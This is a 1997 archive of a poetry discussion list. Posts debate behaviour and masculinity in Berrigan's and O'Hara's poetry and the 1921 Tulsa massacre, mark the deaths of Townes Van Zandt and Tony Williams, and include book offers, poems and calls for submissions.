are you macho do you hate it when people talk about behavior let's talk about poetry right the beautiful poetry we're all here for poetry are you macho do you hate it when people talk about your behavior why do you hate it when people talk about your behavior

Ted Berrigan's work exhibits an intense struggle for the issue of how they behave is relevant to the poetry how he behaved was relevant he wanted it relevant it was how he behaved to the poetry is relevant he saw what life was like in Tulsa and went to NYC is NYC really better than Tulsa really

In Tulsa in 1921 the relatively prosperous black section of town was burned down in a riot started by a false accusation by a white woman that she had been assaulted by a black man the accusation might have gone no further except a Tulsa paper made it first page news for weeks until finally there was literally a war the whole black section of Tulsa was burned and afterwards several black men were prosecuted and one prosperous black hotel owner ran away to Chicago and escaped prosecution and the historical memory of the

incident was in the hands of white papers so that UNTIL THE LATE 1980S there was no official record or acknowledgement in this country of what happened in Tulsa in 1921

Ted Berrigan and Rod Padgett lived in Tulsa but they didn't know what happened in Tulsa in 1921

what facial expression do you have when you write a poem when you want to beat somebody up your poem has an expression I didn't learn to fight until I was beaten up a bunch of times as a kid and then I learned to fight back is it a good thing that I learned to fight back that I actually know how to "kick your ass" if I need to is that relevant to behavior in poetry is it relevant to poetry that I may have just indulged in a bit of macho posturing but nonetheless can still "kick your ass" if I need to but guess what I'm not going to

it is easy to be reductive about the issue it is easy to avoid the issue but if you don't talk about the construction of maleness in Berrigan's work in O'Hara's work than you're not seeing part of what mattered to them as poets and as men and they were both they were poets and they were men I suppose (what's the definition anyway of "man") and how could being a poet not be intimately related to being a "man" or just to being

behavior and poetry and relevance is all relevant to poetry every time somebody says "that's not relevant" they're just plain fucking wrong

Mark Wallace

/----------\ |
| | [redacted] "I have not yet begun | |
to go to extremes" | | GWU: |
| http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

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859. **Maria Damon**
Re: QUARTET #1
Wed 26 Feb 1997

---

looks good joel; what's alexis deveaux up to thiese days.

At 9:15 AM -0500 2/26/97, Joel Kuszai wrote:
>Now available:
>
> QUARTET #1
>

>Featuring:
>
> Wanda Coleman
> Alexis DeVeaux
> Eric Gansworth
> Ted Pearson
>
>
>
>Send a check for $6 ($5 + $1 for postage) to:
>
>just buffalo literary center
>2495 Main Street
>Buffalo, NY 14214

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860. **amato**
Re: how people behave
Wed 26 Feb 1997

---

yeah, i'd have to say i'm with mark on this -- it's all relevant, and all a matter of what you want to emphasize... i don't think relevance = condemnation either (or for that matter, say, beatification)... so i don't think that establishing relevance is a holier-than or less-holier-than activity, or needs to be...

joe

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861. **Daniel Bouchard/College/hmco**
a Boston post: 2/24
Wed 26 Feb 1997

She is beautiful. The room is full, she is beautiful and everyone in the room is watching her.

She pays me no attention but I don't mind. There is an intense, quiet joy brought about by her presence and the room is quiet while everyone looks intently at her and smiles. It is a rare moment in my life and maybe in her life too. She rolls her head, almost casually, and her bright eyes bounce from one object to the next, from one person to the next. She is all smiles and giggles. She is a peach.

She is cute as a button. She is bald and has no teeth and perhaps others are wondering, like me, if she may spit up soon on Ange's shirt or something. I

muse quietly in a corner, when she-- Julia-- turns her head quickly at the sound of her father's voice. It is Joe Torra, who pops in from the kitchen asking if anyone needs more wine or some other refreshing beverage.

Soon all the guests arrive, and the reader too-- Ed Barrett -- and we begin. Here is a portion of one poem that he read:

(from THE MUMMY) "While I'm not defining terms I also won't define poetry since what I recognize as poetry you may not and what's the point of making a big deal about it? Or if poetry is life (since terms at either end of an equals sign are identical) then maybe I should make a big deal about it, the way life does: remember how you used to get beat up in grammar school if you weren't careful, and even if you were? The time we hiked across Prospect Park to the Brooklyn Museum to see the Indian child mummy and on the way back because I asked these other kids what direction we should take they naturally assumed we needed to get jumped, and how I was able to keep this jerk away from me by swinging my toy army rifle around me like a helicopter blade? My friend was wearing an army helmet (plastic) and I don't remember being asked to check our rifles and helmets at the museum. I guess you just know if someone is playing seriously and you go along with it, our mission that day was to see what a dead child looked like."

Ed reads for about a half-hour and is funny and startling and his reading is so enjoyable that when I ask my girlfriend later if she liked it she tells me she wishes Ed had read longer than he did. This gives me pause and I purse my lips, scratch my head . . . "never wants a second cup at home." But Ed was fabulous, read new unpublished work, as well as poems written for the occasion and also poems for Joe and Molly Torra and their infant daughter Julia.

It's a good Boston turnout at the Torra's: Michael and Isabel Franco, Christopher Sawyer-Laucanno, Patricia Pruitt, Lisa Amber Phillips, Elliza McGrand, Bill and Beverly Corbett, Rafael and Lina De Gruttola, Bob D'Attilio, Ange Mlinko, Steve McNamara, Dan Farrell and Craig Snyder.

We eat calzones and drink wine till it gets late and I leave, singing in my mind "please come to Boston for the springtime . . . " unable to recall the singer's name and not knowing to whom it is directed.

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862. Douglas
Sun & Moon offers for Wellman and Jesurun plays
Wed 26 Feb 1997

I'm thankful to Marjorie Perloff and Fiona Templeton for opening a discussion (hopefully a discussion) of poetic theater and its relationship to poetics. There are wonderful American playwrights -- many of them grouped together as the "Language" playwrights -- who focus on concerns of language and poetry that is very similar to many of the poets discussed on this list. These include writers such as Mac Wellman, Erik Ehn, Len Jenkin, John Steppling, Suzan-Lori Parks, Fiona Templeton,Naomi Iizuka, and many others.

To help encourage this discussion and the readership of some of these plays, Sun & Moon offers the following specials.

Works by Mac Wellman:

ANNIE SALEM: An American Tale
In this, his second novel, Mac Wellman continues his exploration of a low-rent rural America, festering in the backwater pollution from the urban enviornment. Wellman's astonishing Ohio-like world has been tagged by some theatergoers and critics as "Macland," a world peopled by cantankerous, wistful, confused, and frightened people who have lost parts of their bodies, their minds, and their souls to the perpetual machine of the American dream.
Regular price $12.95/slightly hurt copies sold at a special price of $5.00

BAD PENNY at Bow Bridge
A short play, winner of the Obie Award, about a man who picks up a bad penny (tails up) and finds his day his metaphysically altered in Central Park.
Regularly $5.95/20% discount to members of the Poetics List

THE PROFESSIONAL FRENCHMAN
This play by Mac takes place after a Thanksgiving

dinner in a northern Virgina suburb. Jacques and Sam, dangerously imperfect confidence men, close in on Blaise Duykick, who smelts stolen silverware in the basement bathroom unbeknownst to his wife, Femke.

Regularly $7.95/We offer a 20% discount to members of the Poetics List

THE FORTUNTELLER

Wellman's first long fiction is a "murder mystery." A murderer stalks the art community of SoHo in New York City. The narrator of this wildly satiric fiction seeks to uncover the killer before each of his friends (and enemies) becomes a victim.

Regularly $11.95/slightly hurt copies for $5.00

A SHELF IN WOOP'S CLOTHING

A poetry of wit and language. Here "polydactyl" meets "pumpkinfication" head on in a kaleidoscope of verse.

Regularly $8.95/Special offer of $4.00

THE LAND BEYOND THE FOREST: Dracula and Swoop

In these two plays Wellman explores the Dracula myth. This time the vampires whoop in up not only in their Transylvanian back/badlands in the last minutes of 1899, but fly over New York City (in Swoop) discussing the awful tastes of the blood of critics.

Regularly $12.95/slightly hurt copies for $5.00

THEATER OF WONDERS: SIX CONTEMPORARY AMERICAN PLAYS

Plays by Len Jenkin, Jeffrey Jones, Des McAnuff, Elizabeth Wray and Wellman.

Regularly $12.95/slightly hurt copies for $5.00

==========

Works by John Jesurun

EVERYTHING THAT RISES MUST CONVERGE

will be published by April 1, 1997
pre-publication offer of a 20% discount to members of the Poetics List.

Order from Sun & Moon Press through my E-mail address: [redacted]

Be sure to include your name and address.

Douglas Messerli

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863. **Kristin Gallagher**
Re: Townes Van Zandt
Wed 26 Feb 1997

---

he had a heart attack, i think. he left a wife and adolescent daughter behind. his wife divorced him a while back but she took care of him and let him sleep on the couch until the end. i have a great quote from him on my frig. when asked what you have to do to make it as a musician, he said "first you gotta get a guitar. then you gotta blow everything else off. you gotta blow off your family. you gotta blow off your job. you gotta blow off money. you gotta blow off security. you gotta blow off your ego. and just play your guitar. sleep with it. even if you're hungry. i say that to young people . . . you'd be surprised how many it scares off."

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864. **amato**
Re: Politics of The List
Wed 26 Feb 1997

---

there's an old caution (by now) about email -- you don't post *anything* to *anybody* w/o understanding that it may turn up someplace else, with somebody else, even years later... this is owing to the versatility of the digital, its permanence, ease of transmission, convertibility...

so it's exactly on the continuum from private to public (or the axis if you like) that so much of this discussion turns, even setting aside the fact that this is a list... it's a function of the medium, i mean... and obviously, our posts *here* are in the hands/minds of -- what is it currently? -- 450 subscribers?... located on several continents, no less... with all sorts of systems gaps that permit prying eyes to pry...

i've never really thought of poetics as a "private" space... on the other hand, i've always assumed that the point of calling it a "private" space was rhetorical-functional... a way of checking the possibility of a cast of thousands, and of maintaining some semblance of *individualized* control, even (and i don't mean this latter in any insidious sense)... charles, our host, should probably jump in here...

but ron is right -- if each of us hasn't already, perhaps it *is* time that "we" disabuse our collective self of the notion that what is going on hereabouts is what

we customarily take to be "private correspondence"... that stuff over there, i mean, in hardcopy land... which isn't always all that "private," either...

best,

joe

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865. **Mark Weiss**
Re: Sun & Moon offers for Wellman and Jesurun plays
Wed 26 Feb 1997

Please send me and bill accordingly 1 copy of slightly-hurt Annie, 1 special order Shelf, and three hurt copies of Richard Elmans's Tar beach (I've already given three copies away). Send and bill to: Mark Weiss, PO Box 40537, San Diego CA 92164. Phone [redacted] Fax [redacted].

> *ANNIE SALEM: An American Tale*
> *In this, his second novel, Mac Wellman continues his exploration of a low-rent rural America, festering in the backwater pollution from the urban enviornment. Wellman's astonishing Ohio-like world has been tagged by some theatergoers and critics as "Macland," a world peopled by cantankerous, wistful, confused, and frightened people who have lost parts of their bodies, their minds, and their souls to the perpetual machine of the American dream.*
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> *A poetry of wit and language. Here "polydactyl" meets "pumpkinfication" head on in a kaleidoscope of verse.*
> *Regularly $8.95/Special offer of $4.00*

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866. **matt**
Re: Spell check
Wed 26 Feb 1997

---

a little behind here
though others may not always agree, this being in the eye, as they say.

as to your questions. reading gently through the work a tone differs without signpostsings or an echo of previous words, perhaps movements slight return in mind. i think there is a greater (ooh, be 'ware of the generality I'm told) sense of temporality - the ghost of language allowed to live if you don't curtail its presence by the quotation marks, these walls of pastureyesation. but then they can always be used to distance. that, the most basic response (keeping closer to 'you' without, further away with; more alive without, more dead with etc). but more basely, the voice predominates rather than the intellect in the absence of quotes (invented in the seventeenth century, so definitely enlightened) and this aurality increased. but always go with how you feel i say.

matt

> *Is there a difference between using quotation marks or some other indicator of source and not indicating the source specifically but treating the words as found language? How does this work? I don't mean technically how it works, but what kind of difference does it make to the poem or the reader? the writer?*
>
> *Just something I've been wondering about. Sherry*

↑ Index

867. **Joseph Lease**
Re: Townes Van Zandt
Wed 26 Feb 1997

Townes Van Zandt did gorgeous work, absolutely tough: I heard him once live and it was very important for me: I read about his death in a local newspaper here in Boston, the paper said heart attack

On Wed, 26 Feb 1997, Mark Wallace wrote:

> *Does anyone on this list have specific information about the death, apparently around January 1 of this year, of the Texas singer-songwriter folk-country musician Townes Van Zandt? A long heroin problem I know, etc etc, but also some of the best southern songs of the last 20 odd years. My own sense is that MY MOTHER, THE MOUNTAIN is the best (and an amazing collection it is) of his sometimes hit-and-miss studio albums, but he was also a great live musician too--perhaps his best moment is the song "Early In The Morning" from a late 80s album called LIVE AND OBSCURE--a truly terrifying incursion into incest, violence and drunkenness. I'd appreciate either backchannel, or perhaps better, any information on the list itself.*
>
> *Mark Wallace*

```
/-----------------------------------------------------------------------\
|                                                                       |
|    [redacted]          "I have not yet begun                          |
|                                  to go to extremes"                   |
|    GWU:                                                               |
|     http://gwis2.circ.gwu.edu/~mdw                                    |
|    EPC:                                                               |
|     http://writing.upenn.edu/epc/authors/wallace                      |
|_______________________________________________________________________|
```

↑ Index

868. **Aldon L. Nielsen**

Re: Sad News

Wed 26 Feb 1997

I just learned that Tony Williams died of a heart attack in Daly City at age 51.

A Tony Williams memorial fund has been set up -- address is:

Tony Williams Memorial Fund
P.O. Box 1429
Pacifica, CA 94044

contributions sent here will be controlled by the family --

funeral details not yet announced --

Listening again to "In A Silent Way" --

↑ Index

869. **Eliza McGrand- CVA Guest**

recent threads and the influence of henry g.

Wed 26 Feb 1997

Jane and Ngozi by Copley Square

All of winter stands still for this.
We are walking by the brood
of an alley, its crushed boxes and piss
and cans filmed with rotting food.

You hold my hands, beautiful women
from a warm country, as you laugh, formally.
Your hair, latticed by a regiman
of ropes and pleats, keeps nothing warm

but raps against the down-gorged nylon
of your collars. The sun, distanced and thin,
collects on your boots, your mittens, and still
you are cold. The veldt of grass, the lions
of Kenya, occlude the brittle wind
of Boston, your hands in mine unchilled.

E. McGrand

↑ Index

870. **nico vassilakis**
(no subject)
Wed 26 Feb 1997

---

this Dorn thread's
a noose

what's the relationship between L/A/N/G/U/A/G/E writing and e-(writing)mail?

are the westerns, who's in attendance lists, clothing, job conferences, and previous items it?

the chatting is voyueristic in such a weird way. i just don't get it (e-mail psych.)

would changing the structure be of interest to anyone?
something similar to A.BACUS, or magazines that present 15-20 pages of individual writing (open format).

tid bits could be backchanneled provided by a complete daily list of poetics list subscribers, and like that. these exchanges could be presented.

or maybe a second, a poetics list 2 to manage the 'other' talk and essential publishing info pertinent to the group. poetics list 2 discussing poetics list 1.

somebody, a year ago, spoke about the tension involved in communicating e-mail. even coming out of lurk is a difficulty.

extracurricular polite?
night, in yr hand
smoke-stuffed box

or room enough
to fall thru scaffolding

(is that electronically
feasable?)

↑ Index

871. **Issa Clubb**
Re: Sad News
Wed 26 Feb 1997

For those of you in NYC, I believe the radio station KCR (89.9 FM) is playing Tony Williams all 24 hrs today (Wed)...

Sad news indeed.

> *I just learned that Tony Williams died of a heart attack in Daly City at age 51.*

Issa Clubb
Voyager Art Dept.
mailto:[redacted]

↑ Index

872. **cris cheek**
Re: Irony, drama, sanity, prophecy, LangPo
Wed 26 Feb 1997

I've just spent today in the studio, recording
pieces by Clive Bell for release by Sound and Language
on CD early this summer.

Clive is, alongside Evan Parker and John Butcher and
Peter Brotzmann and Steve Lacy
one of the most extraordinary of solo wind improvisers.

His attitude is, perhaps, worth recounting in relation
to Steve Benson's more recent work as flagged up by Ira
under this thread.

"Having something you need to say is already a closing to
what might be said"

It would be a shame for a writer such as Steve Benson to
be expected to repeat early successes (not that I'm reading
Ira as suggesting such). I too was surprised by the materials with
which Steve was engaging in his Ear Inn '94
and Cambridge '95 performances. Yet the acuity with which
he examines language even as he formulates and utters it
remains for me as finely tuned as ever. The mood is wry.
The bounce material distractions have changed. I don't,
personally, find them any more ironic, although his cadence

is less urgent. They are certainly partially steppings back,
from harshness:

'I could feel myself looking over the hill a long time, after the carriage had passed, and my story had been told, and ran in the opposite direction, imagining that the police were after me, and that the cold water tragically fixed into my confused opinions of my situation until I improperly tore myself out of the middle of that book, leaving the page numbers intact, and watched the light from the east strike an awkward pose in the corner, imagining it would do itself good by offering a body there: a dance that they do, when they hate to do what is private, and so publicly enunciate and announce that a game is going to come and be played in this trick ball park where what they have on the ground is like a red rug, and you have to wear special glasses to see it as green, and long after we have passed, there is only just now a relationship between what is sexual and what is a second individual.' (from 'The Birds' - Language aLive 2)

love and love
cris

↑ Index

873. Herb Levy
Re: question which will explain things
Wed 26 Feb 1997

> *A question: if you are going to say these things, does it change them if that person is listening? I wish I could say he wasn't...*

Just a reminder: although this list is private as far as signing up & being able to send mail out to everyone is concerned, every post is available to be read by anyone with Web access at the EPC site, so functionally anyone has access to the complete contents of this "closed" list.

Herb Levy
[redacted]

↑ Index

874. Steve Carll
Call for Submissions
Wed 26 Feb 1997

Antenym, a xeroxed 8 and a half by 11 stapled magazine, invites submissions of poetry, fiction, critical and/or philosophical essays, visual art, and other varieties of work on the theme "Ontological Activism and its possibilities" to which issue #13 of the magazine will be dedicated. Submissions may be emailed to <[redacted]> or analog-mailed to Steve Carll at 106 Fair Oaks St. #3, San

Francisco, CA 94110-2951, with an SASE for reply (and return of mss. if desired). Deadline is June 15, 1997.

On Ontological Activism:

It's often pointed to as the oldest and most fundamental complex of questions to occur in human consciousness: "Who am I, and what am I doing here?" Questions of this type, along with the resources needed to ask them and give them adequate reflection, are increasingly proscribed by the conditions currently structuring much of our daily experience, which ultimately threatens that human consciousness that makes such questioning possible and even necessary.

The phrase "ontological activism" announces itself as the public asking of the questions of being, transforming the individual "who am I?" through re-integration with the communal--"who are we?" in such a way that the opening up of personal perspectives may continually transform the communal as well, by offering examples of investigative strategies. In this way, the question becomes, "Do we as human beings wish to continue being, and if so, how?"

****

[redacted] Steve Carll
http://writing.upenn.edu/epc/mags/antenym
http://writing.upenn.edu/epc/ezines/antenym

In seed-
sense
the sea stars you out, innermost, forever.

--Paul Celan
****

↑ Index

875. **David Israel**
Re: question which will explain things
Wed 26 Feb 1997

---

what's the whelm swash

<<What attitude -- no, what facial expression do you find yourself assuming when you begin to write a poem? ....>> Jordan Davis

varies with medium (inkpen v. keyboard)
energy tending to focus about the eyes around
the open nostrils? the pivotal forehead?
often a pursing of lips or making eyeslits

to look into distance? (there is no distance)
some literal yonder? (assume there is one)

or this tilt of the head (rightward? leftward?)
resembling sadness (abhogi? imp's grin?)

porch sat a summer reaching pink dawn?
who'd conclude what masquerade gilts
glassen features? no what's the whelm swash
quicks the slow heap bedrifts the clouds

d.i.

↑ Index

876. Maria Damon (Maria Damon)

query

Wed 26 Feb 1997

---

cd someone backchannel me a phone # for lee anne brown? the # i have is a nonworking # for time incorporated.

↑ Index

877. George Bowering

Re: question which will explain things

Thu 27 Feb 1997

> *On Tue, 25 Feb 1997, Jordan Davis wrote:*
>
> *What attitude -- no, what facial expression do you find yourself assuming when you begin to write a poem? when you are in the middle of writing a poem? when you are editing a poem?*

I havent got a clue. When I am writing I am not in front of a mirror. I know the expression on my face when I am shaving. But I dont see any connection with expression of any sort and my poetry. I am too busy listening.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

878. **Franklin Bruno**
cd info
Thu 27 Feb 1997

A week or so ago, someone (Maria Damon, I think) posted some information about a CD magazine that sounded quite interesting. I don't remember the details, though I thought an upcoming volume was about Stein. I managed to lose the info. Could someone post it again. Backchannel is fine.

Tony Williams (very sad) died young, but he started young too--he first played with Miles Davis at 17!

Townes Van Zandt was indeed quite a songwriter (see "Lungs," "Pancho & Lefty"), but I shudder to imagine what his politics might have been.

All you people got me to dig out Berrigan's -The Sonnets-. No cogent comment, but thanks.

Special to Stroffolino (the only one interested, I bet)--I'm seeing Pavement tomorrow, if I see Malkmus, I'll get to the bottom of this Ashbery thing.

fjb

↑ Index

879. **George Bowering**
Re: question which will explain things
Thu 27 Feb 1997

> *Sorry for my sarcasm,\ but I find myself sick of reading of people who are willing to punch other people in the nose.*

You wanna step outside?

George Bowering.
,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

880. **George Bowering**
Re: how people behave
Thu 27 Feb 1997

Hey, people out there over the brown bulge of the continent and all:

What kind of facial expression do you have when you punch a nazi poet in the eye?

George Bowering.
,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

881. Mark W Scroggins

Re: question which will explain things

Thu 27 Feb 1997

As the Pythons used to say, this is a very SILLY thread--but didn't Mallarme compose in front of a mirror?

On Thu, 27 Feb 1997, George Bowering wrote:
>
> I havent got a clue. When I am writing I am not in front of a mirror. I
> know the expression on my face when I am shaving. But I dont see any
> connection with expression of any sort and my poetry. I am too busy
> listening.
>
>
>
>
> George Bowering.
> ,
> 2499 West 37th Ave.,
> Vancouver, B.C.,
> Canada V6M 1P4
>
> fax: [redacted]
> e-mail: [redacted]
>

↑ Index

882. Rachel Loden
Special to Stroffolino
Thu 27 Feb 1997

Franklin Bruno wrote:

> *Special to Stroffolino (the only one interested, I bet)--I'm seeing Pavement tomorrow, if I see Malkmus, I'll get to the bottom of this Ashbery thing.*

Franklin, when you get to the bottom of this Ashbery thing, set off a flare, will you? The rest of the expedition is hopelessly lost.

P.S. Kisses to Malkmus.

↑ Index

883. David R. Israel
Re: Spell check
Thu 27 Feb 1997

Sherry --

yesterday I thought I was posting to the Poetics brood, but inadvertantly (instead) backchanneled my note(s) to you; oh well.

If I start tossing around names like TS Eliot too much, the hipsters will raise eyebrows anyway, I suppose. Jorie Graham is a curious case (in point) too. I'd say she's been quite influenced by certain LangPo & such developments -- & I think she's wonderful. But my general impression is that to many Poetics types, she's prob. beyond the pale, since she's so mainstream-published, so well-awarded, etc.

Hmm -- now I'll put my foot in it & post this (though was to backchannel), since I'm curious for some poss. response re that.

Here then, tacked on, is my 2/26 note, too.

cheers all,
d.i.

p.s.: another tack on the citations / quotations issue. It's interesting that in much of Alice Notley's writing, EVERY sentence is in quotation marks! (My late friend Lynne Beyer pointed this out to me, merely wondering what Alice was up to.) Certainly it's not a question of borrowed language in the literal, Brennan-asked sense. Seems (in effect) more like thoughts / words "overheard" -- eh?

> *Subject: Re: Spell check*
> *Date: Wed, 26 Feb 1997 11:51:55 -0500*

> Following up Sherry Brennan's question yesterday abt. citations for
> borrowed language --

>
> 2 poss. interesting instances spring to mind. The recent book
> *Materialism* by Jorie Graham is chock-full of borrowed texts. I
> think (if memory serves) she merely mentions what authors she's
> borrowed from; -- or perhaps gives some bit more detail, but is
> anyway not exhaustive or too detailed. You might want to give the
> book a glance, -- as one example of contemporary practice.
>
> The other case that came to mind was T.S. Eliot's wholesale lifting
> of a passage from San Juan de la Cruz. In that case, my impression
> (or recollection) is that there's no annotation identifying the
> original -- but rather, Eliot prefaces (in the poem itself) the
> appropriated text by some phrase like "Has it not been said?" --
>
> so that's one other approach to this. But likely you'll find your
> own solution.
>
> have fun w/ Ch. Darwin + the gardeners
> d.i.
>
> (p.s.: I get the Poetics package in digest, so if I post mid-day
> (like this), I'm writing blind as to what's meanwhile transpiring.
> Was thus slightly amused to note my "found poem" of yesterday
> appeared (unwittingly) in the wake of this query. I didn't mention
> that the tose words comprised the *complete* (unaltered) text of the
> orig. office-mail msg. -- minus a single closing word: "Thanks!").

.
.....
.....
\\\

884. **Jordan Davis**
Re: cd info
Thu 27 Feb 1997

What the hell do you mean, the only one interested!!! Mr Bruno for the sake of humanity, let us all know when you find out -- is Malkmus for real about Ashbery, or is it a put-on? and how much text does he get from him ... Jordan

↑ Index

885. **Rachel Blau DuPlessis**
Re: how people behave
Thu 27 Feb 1997

Re TULSA in 1921, the pogrom against the African-American community: Ron Padgett has a poem from, I think, the early 1970s, or even earlier (1968?) in which he explicitly refers to the Tulsa events, in the context of the rebellions/riots of the late 60s. (This as a correction to Wallace); since I am sitting without RP's poetry (at school) I can't cite title, but it is a long, explicit, and moving work. Rachel Blau DuPlessis

↑ Index

886. **Sylvester Pollet**
the archibras
Thu 27 Feb 1997

(a friend of mine who's doing some work on the utopian body sent me this, and I thought maybe some on the list would enjoy it too) S.

Here's something to think about on your drive today:

"Fourier predicted that the men and women of the new order would grow to the height of seven feet and live to the age of 144. They would acquire replaceable teeth and develop the capacity to withstand severe pain. Their senses would undergo extraordinary refinement, and they would also become sufficiently amphibious to make full use of the bottom of the sea. But the most remarkable physical change in mankind, which would only take place after sixteen generations of Harmony, was the development of a new member, an archibras, the properties of which were described by Fourier in a manuscript censored by his disciples:

'The Harmonian arm or archibras is a veritable tail, a tail of immense length and with 144 vertebrae. . . . This member is as redoubtable as it is industrious. It is a natural weapon . . . The archibras terminates with a very small elongated hand, a hand as strong as the claws of an eagle or a crab. . . . When a man is swimming, the archibras will help him move as fast as a fish. It can stretch to

the bottom of the water, carrying fish nets and making them fast. With its help a man can reach a branch twelve feet high, climb up and down the tree, pick fruit at the very top of the tree, and put in in a basket tied to the archimain. It serves as a whip and a rein to a man who is driving a horse-drawn plow. . . .It can be used to tame a wild horse: the rider can tie up the horse's legs with his archibras. It is infinitely useful, and in the playing of musical instruments it doubles a person's manual faculties since its fingers, although very small, are extremely stretchable.'"

Surprising that Fourier didn't expound upon its erotic potential, since that's a subject he rarely leaves out elsewhere!

Bon voyage,

N.

↑ Index

887. **dbkk**
Political Animals
Thu 27 Feb 1997

It's Kevin Killian. I know I have used this space already to announce my play on March 6 but I wanted to announce a late-breaking development. After many years away from the stage, Mr. Nick Robinson will be joining my cast of international stars, essaying the pivotal role of fallen Ubermensch Christopher Reeve. Nick Robinson was the man whose work with Poet's Theater here in the Bay Area first made me want to write for the stage. Now he returns in "Political Animals." I feel the puffed up pride of MGM's Louis B. Mayer when he told the world, in 1945, to promote "Adventure" (Victor Fleming), --

"Gable's Back--and Garson's Got Him!"

↑ Index

888. **Michael Coffey**
Re: how people behave -Reply
Thu 27 Feb 1997

---

more on tulsa incident: there is a novel by Susan Straight called The Gettin' Place, published by Hyperion last year, that tells the story of a family since moved to a California town much like Riverside (calla Rio Seco), but which began in Tulsa during those riots. Very fine book, as Straight, a white woman from Swiss stock who was raised and now lives in pretty much a black Riverside community, is an excellent writer. I interviewed her for Publishers Weekly a few years ago and she would blanch at my foregrounding her racial background and the environs she grew up in, but her perspective on the black, vietnamese,

hispanic communities she knows so well are terrific: it is the perspective of someone who has seemlessly been assimilated.

about other atrocities (how people behave): look for a memoir by the poet Peter Balakian, coming in may, about his eventual understanding of the Armenian genocide of 1915, engineered by the turks. His discovery of poetry is entwined with the historical consciousness of what happend to his "people," and is effectively, beaautifully told. And for anyone who grew up in a middle-class household in the 60s in new york or new jersey, the wealth of perfectly remembered cultural references of the time is entertainiang enough; but the book is heavy, heavy; I think bound to be a small classic of the memoir genre, much like Nabokov's speak memory, it is about a family's disposesssion and exile and structured with the integrity of a long poem. Basic Books, oddly enough, is the publisher. Balakian, i believe, teaches at Colgage in upstate new york.

>>> Rachel Blau DuPlessis <[redacted]> 02/27/97
11:01am >>>
Re TULSA in 1921, the pogrom against the African-American community:
Ron Padgett has a poem from, I think, the early 1970s, or even earlier
(1968?) in which he explicitly refers to the Tulsa events, in the context of
the rebellions/riots of the late 60s. (This as a correction to Wallace);
since I am sitting without RP's poetry (at school) I can't cite title, but it is a
long, explicit, and moving work. Rachel Blau DuPlessis

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889. **Michael Magee**
Re: how people behave
Thu 27 Feb 1997

I just started reading a book called *Death in a Promised Land* about the 1921 Tulsa Riots, veri interesting and very horrifying. As the author describes the rise of Tulsa's black middle class the sense of the inevitability of serious white backlash grows in a creepy, uncomfortable way and the photographs in the book enhance that - one picture, of several white men throwing torches into the second story of a black man's very large house which has started to smoke all over, literally made me feel ill. Tulsa is actually quite an amazing 20th century cultural space - lots of literary figures in the area as well as jazz musicians (a prime secondary site for band's like Basie's in the 20's). Then there's the fact that the Native Americans who were forced there around the turn of the century ended up sitting on a lot of oil land. Somehow laws were instituted which made the city hier to that land if the particular native American owners died - unsurprisingly, they started dropping like flies. More recently there's Larry Clark's (he dircted the movie *Kids*) book of photographs *Tulsa* (1971?) -

photos of white tulsa teengaers shotting amphetamine, having sex, wielding guns, etc.

-Mike Magee.

According to Rachel Blau
DuPlessis:
> > Re TULSA in 1921, the pogrom against the African-American community:
> Ron Padgett has a poem from, I think, the early 1970s, or even earlier
> (1968?) in which he explicitly refers to the Tulsa events, in the context
> of the rebellions/riots of the late 60s. (This as a correction to Wallace);
> since I am sitting without RP's poetry (at school) I can't cite title, but
> it is a long, explicit, and moving work. Rachel Blau DuPlessis
>

↑ Index

890. **Chris Stroffolino**
Fwd: Cheryl Dunye, etc.
Thu 27 Feb 1997

Oh yeah and on a related note, DEANNA FERGUSON are you there? If you are and
are still trying to get in touch with DAVID BROMIGE, he will be back on the
list in a fortnight or so he said....he had some minor surgery on his 5th toe
(I said little toe, but he corrected me and on no uncertain terms) and can
not walk from his computer terminal. He can walk TO it, but then he'd be
stuck there. And you wouldn't want that, now, would you? Chris
---
Forwarded message:
Subj: Cheryl Dunye, etc.
Date: 97-02-27 11:51:22 EST
From: CHRIS1929W
To: [redacted]

Hey, in this week's VILLAGE VOICE, there is an article about filmmaker Cheryl Dunye. She and I used to be roommates in Phila. She used to cut my hair and helped me get one job. It was VERY good to see that she's doing well for herself (her fame of course the result of negative publicity--being blacklisted by Jesse Helm for her black lesbian "agenda" a la Todd Hayne's fame being result of offending Dick Carpenter). I bring this up for those of you who may remember my SCHMIDT-DEAN GALLERY reading series of the early 1990's when I had her films shown with ABBY CHILD'S and Bob Perelman and Francie Shaw sat in the front row of the audience, asking pointed comments, etc. (Oh, gossip, gossip). Would anybody here know how to get in touch with Ms. Dunye? I have not seen

her in years. Has anybody seen this new film? All for now, Chris Stroffolino
---

↑ Index

891. **Joe Safdie**
Re: question which will explain things
Thu 27 Feb 1997

Yes, it IS a silly thread, but it's like TV, it gets our mind off things. Stultifyingly dull "Grammys" last night, I couldn't watch more than a half hour or so.

I, too, have been told I stick out my tongue when writing (and teaching) ala Michael Jordan. Would like to thing that's because I'm tasting the words. Can anyone confirm for me that there's a college basketball player at the moment (Minnesota?) who's been called "the Jewish Jordan"?

↑ Index

892. **Pritchett,Pat**
Re: Spell check
Thu 27 Feb 1997

I'll confess I find some of Jorie Grahm's work quite bracing tho lately it's become rather attentuated and verging on the pompous. Her appropriation of LangPo and Olsonite techniques begins with "End of Beauty," tho she applies these to rather different ends.

Notley's quotation marks are fascinating. They function more as metrical units than anything else. And in _Alette_ they act as analogues for the stroboscopic flashings of the subway itself.

Patrick Pritchett

From: David R. Israel
To: POETICS
Subject: Re: Spell check
Date: Thursday, February 27, 1997 10:43AM

Sherry --

yesterday I thought I was posting to the Poetics brood, but inadvertantly (instead) backchanneled my note(s) to you; oh well.

If I start tossing around names like TS Eliot too much, the hipsters will raise eyebrows anyway, I suppose. Jorie Graham is a curious case (in point) too. I'd say she's been quite influenced by certain LangPo & such developments -- & I think she's wonderful. But my general impression is that to many Poetics types,

she's prob. beyond the pale, since she's so mainstream-published, so well-awarded, etc.

Hmm -- now I'll put my foot in it & post this (though was to backchannel), since I'm curious for some poss. response re that.

Here then, tacked on, is my 2/26 note, too.

cheers all,
d.i.

